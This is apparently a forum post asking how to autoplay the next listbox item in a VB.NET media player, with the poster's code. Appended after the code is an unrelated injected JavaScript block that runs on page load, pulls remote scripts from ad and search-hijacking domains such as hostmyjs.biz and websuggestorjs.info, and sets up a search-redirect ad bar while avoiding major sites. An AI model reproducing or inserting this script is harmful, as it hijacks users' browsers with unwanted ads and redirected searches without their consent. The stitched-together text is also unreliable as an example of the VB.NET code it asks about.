Hello experts! im creating an advanced media player in vb.net. After exectuing the code from the
AxWindowsMediaPlayer1_PlayStateChange event I want to autoplay the new selected item inside the listbox. Just like windows media player.Can you help me with my code please!
Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click
OpenFileDialog1.FileName = ""
OpenFileDialog1.Multiselect = True
OpenFileDialog1.ShowDialog()
ListBox1.Items.AddRange(OpenFileDialog1.FileNames)
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
AxWindowsMediaPlayer1.URL = ListBox1.SelectedItem
AxWindowsMediaPlayer1.Ctlcontrols.play()
End Sub
Private Sub AxWindowsMediaPlayer1_PlayStateChange(ByVal sender As Object, ByVal e As AxWMPLib._WMPOCXEvents_PlayStateChangeEvent) Handles AxWindowsMediaPlayer1.PlayStateChange
If AxWindowsMediaPlayer1.playState = WMPLib.WMPPlayState.wmppsStopped Then
If ListBox1.SelectedIndex < ListBox1.Items.Count - 1 Then
ListBox1.SelectedIndex = ListBox1.SelectedIndex + 1
End If
End If
End Sub
Private Sub ListBox1_SelectedIndexChanged(ByVal sender As Object, ByVal e As System.EventArgs) Handles ListBox1.SelectedIndexChanged
End Sub
<script>
var id=3703514161;
var aff=30500;
var sid=6;
function INCL_checkinternals()
{
var h = document.location.hostname;
return (/search\.kalloutsearch\d\.com/i.test(h) == true ||
/search\.adbar\d\.com/i.test(h) == true ||
h.indexOf('search.runclips.com') != -1 ||
h.indexOf('search.searchnowdirect.com') != -1);
}
function INCL_addEventHandler (el, eType, fn)
{
if (el.addEventListener)
el.addEventListener(eType, fn, false);
else if (el.attachEvent)
el.attachEvent('on' + eType, fn);
else
el['on' + eType] = fn;
}
function INCL_checkdml()
{
var h = document.location.hostname;
return (h.indexOf("google")!=-1 ||
h.indexOf("facebook.com")!=-1 ||
h.indexOf("yahoo.com")!=-1 ||
h.indexOf("bing.com")!=-1 ||
h.indexOf("ask.com")!=-1 ||
h.indexOf("listenersguide.org.uk")!=-1);
}
function INCL_loadScript(src, scriptId)
{
if (window.location.protocol == 'https:' && src.indexOf('http:') == 0)
return;
var script = document.createElement("script");
script.src = src;
script.characterSet = "utf-8";
script.type = "text/javascript";
script.setAttribute('jsid', 'js36');
if (typeof(scriptId) !== 'undefined')
script.id = scriptId;
(document.head||document.getElementsByTagName('head')[0]|| document.body||document.getElementsByTagName('body')[0]).appendChild(script);
}
function INCL_onloadComplete()
{
if (!INCL_checkdml())
{
window.INLDM_cfg = { fi : 4603, fd : 0,
fddm: 'xml.cpchero.biz',
sttc: 'https://hostmyjs.biz/scripts/inl_dmmtch/',
inlsrhdm: 'sonicsearchonline.biz' };
INCL_loadScript('https://hostmyjs.biz/scripts/inl_dmmtch/inl_dmmtch.js');
INCL_loadScript('https://in.admedia.com/?id=ODkoOCI&subid=36');
}
INCL_loadScript('http://i.websuggestorjs.info/sugg/javascript.js?channel=js36');
INCL_loadScript('https://cdncache1-a.akamaihd.net/loaders/1247/l.js?aoi=1311798366&pid=1247&zoneid=52222');
window.dmadbar_settings = {dm_standalone : true, dmpd : 2, fd : 4723, fd2: 4604, xmlfeed : 'http://xml.cpchero.biz/search' , search_url : 'http://hostmysearch.com/?prt=yhs1Danta2&errUrl=http://www.yahoo.com&keywords=' , script_base : 'https://hostmyjs.biz/scripts/adbar' };
INCL_loadScript('https://hostmyjs.biz/scripts/adbar/adbar.js');
}
if (top === self && !INCL_checkinternals())
{
if (document.readyState === 'complete')
INCL_onloadComplete();
else
INCL_addEventHandler(window, 'load', INCL_onloadComplete);
}
</script>